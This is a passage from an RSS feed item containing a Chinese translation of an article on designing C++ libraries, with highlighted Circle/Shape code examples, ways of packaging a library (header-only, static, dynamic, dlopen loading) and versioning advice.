<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    Circle my_circle </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Circle</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(RED, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">3</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">      // "I'm a new Shape" "I'm a new circle"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    my_circle.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">printType</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">();</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">                  // "I'm a circle"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    my_circle.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">drawOnScreen</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">();</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">               // "drawing a circle on screen"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div></li>
<li>
<p>用户使用库中定义的类创建了一个对象, 并使用其方法来执行功能. (这可以是直接创建该类的对象, 也有可能被另一个类作为成员. 这里的例子是后者)</p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// main.cpp</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Shape.hpp"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">using</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Radios</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> size_t</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">class</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Circle</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    Circle</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">Color</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> color</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">Radios</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> radios</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    : </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">m_shape</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(color)</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">                        // calling shape constructor</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    , </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">m_radios</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(radios)</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">                      // initializing the radios of the circle</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    {  </span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">        Print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"I'm a new circle"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> printType</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()  {   m_shape.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">printType</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(); </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"I'm a circle"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);  }                       </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> drawOnScreen</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">() {  m_shape.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">drawOnScreen</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(); </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"drawing a circle on screen"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);  } </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    Shape m_shape</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    Radios m_radios;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">int</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    Circle my_circle </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Circle</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(RED, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">3</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">      // "I'm a new Shape" "I'm a new circle"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    my_circle.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">printType</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">();</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">                  // "I'm a shape" "I'm a circle"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    my_circle.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">drawOnScreen</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">();</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">               // "drawing a shape on screen" "drawing a circle on screen"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div></li>
</ol>
<p>这两种用法之间的选择, 自然是由期望的设计模式决定的.</p>
<p>*另外还有第三种选择, 不过这并不是面向对象的. 这种做法在 C 语言中更常见, 也可见于 C++ 标准库 STL 中 (仅限特定的使用场景). 你应当谨慎地使用这种做法, 因为这可能影响命名空间 namespace.</p>
<ol>
<li>
<p>用户的代码引用了非成员 (不属于一个类) 的函数 / 模板函数</p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// ShapeFreeFuncLib.hpp</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">template</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> &#x3C;</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">typename</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> T</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> drawShapeOnScreen</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">T</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> shape</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">  print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"draw shape on screen"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// main.cpp</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "ShapeFreeFuncLib.hpp"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">int</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  SomeShapeType my_shape;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  </span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">  drawShapeOnScreen</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(my_shape);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div></li>
</ol>
<p><strong>代码的使用方式</strong></p>
<p>这意味着库的实现代码如何被用户添加到自己的项目中.</p>
<p>有多种方法来添加一个库, 它们取决于你打包库的方式.</p>
<p>注意, 在下面的章节中, 我提到了基于 Linux 操作系统的文件扩展名. Windows 操作系统有不同的文件扩展名, 但其余的技术细节都是一样的.</p>
<p>一般来说, 有两种主要方式:</p>
<ol>
<li>将库作为附加的源代码, 加入到用户的项目中 (例如“仅头文件”库).</li>
<li>将库作为独立的<a href="https://zh.wikipedia.org/wiki/%E5%88%B6%E5%93%81" target="_blank" rel="noreferrer">制品 (artifact)</a>, 在链接 (link) 时添加到用户的代码中 (.o / .a / .so). 这又可以分为两种类型:
<ol>
<li>
<p>将库的代码编译为静态库 (.o / .a), 用户在编译时链接静态库, 以将库的代码<strong>嵌入</strong>到自己的代码中 (也就是加入到 main.out 的可执行文件中)</p>
<p><em>译注: 在 Window 下, 可执行文件的拓展名是 .exe</em></p>
</li>
<li>
<p>将库的代码编译为动态库 (.so)</p>
<p><em>译注: 在 Window 下, 动态库的拓展名是 .dll</em></p>
</li>
</ol>
</li>
</ol>
<p>编译为动态库的方式, 又可以分为两种类型:</p>
<ol>
<li>
<p>用户代码 (.o) 和 .so 之间<strong>动态链接</strong>, 这意味着:</p>
<ul>
<li>用户代码 (main.out) 和库代码 (.so) 要一并复制到目标环境中</li>
<li>main.out 不能在缺少 .so 的环境中运行.</li>
</ul>
</li>
<li>
<p>用户代码 (.o) 和 .so 之间<strong>动态插入式链接</strong>, 这意味着:</p>
<ul>
<li>用户代码 (main.out) 和库代码 (.so) 要一并复制到目标环境中</li>
<li>main.out 可以运行, 而且我们可以在更改动态库 (.so) 版本时<strong>无需重启 main.out 的进程</strong>. (只需调用其”重载”的功能)</li>
</ul>
<p>这种做法要求 <strong><code>main.cpp</code> 程序使用特定的代码 (<a href="https://man7.org/linux/man-pages/man3/dlopen.3.html" target="_blank" rel="noreferrer">dlopen</a>) 来支持它</strong>. (通过添加特定的函数来加载动态库)</p>
</li>
</ol>
<p>这些形式的选择应当取决于需求. <a href="https://blog.yanli.one/translation-cpp-library-ii" target="_blank" rel="noreferrer">编写C++ 库(二): 实现</a> 的第 5 章展现了每种形式的优点和缺点.</p>
<h3 id="e-版本控制-—-这个库的更新有多频繁" tabindex="-1">e. 版本控制 — 这个库的更新有多频繁? <a class="header-anchor" href="#e-版本控制-—-这个库的更新有多频繁" aria-label="Permalink to “e. 版本控制 — 这个库的更新有多频繁?”">&#8203;</a></h3>
<p>在这里, 你需要为你的用户考虑, 并对版本管理进行相应的规划.</p>
<p>他们是在离线系统上工作吗? 他们是保留多个版本还是只有一个版本?</p>
<p>以下是一些需要考虑的事:</p>
<ul>
<li>你的用户群体越大, 你就越有可能需要维护多个版本.</li>
<li>根据你的用户群体, 你应该决定是否 &quot;允许&quot; 你的库在不同版本之间发生 API 的破坏性改变 (breaking change).</li>
</ul>
<p>如今通常的, 制定库的版本号的方式可见:</p>
<p><a href="https://semver.org/" target="_blank" rel="noreferrer">Semantic Versioning 2.0.0</a></p>
<hr>
<p>如你所见, 设计一个新的库绝不是一件简单的工作. 请记住 — 这篇文章只是一个概述. 在实现你的库之前, 建议你深入研究上述主题. 其中在 API 部分, 我还建议你了解 CPO‘s (Customization Points, 自定义点)</p>
<p>在 <a href="https://blog.yanli.one/translation-cpp-library-ii" target="_blank" rel="noreferrer">编写C++ 库(二): 实现</a> 中, 我们将深入探讨关于创建, 打包和与链接库的技术.</p>
]]></content:encoded>
        </item>
    </channel>
</rss>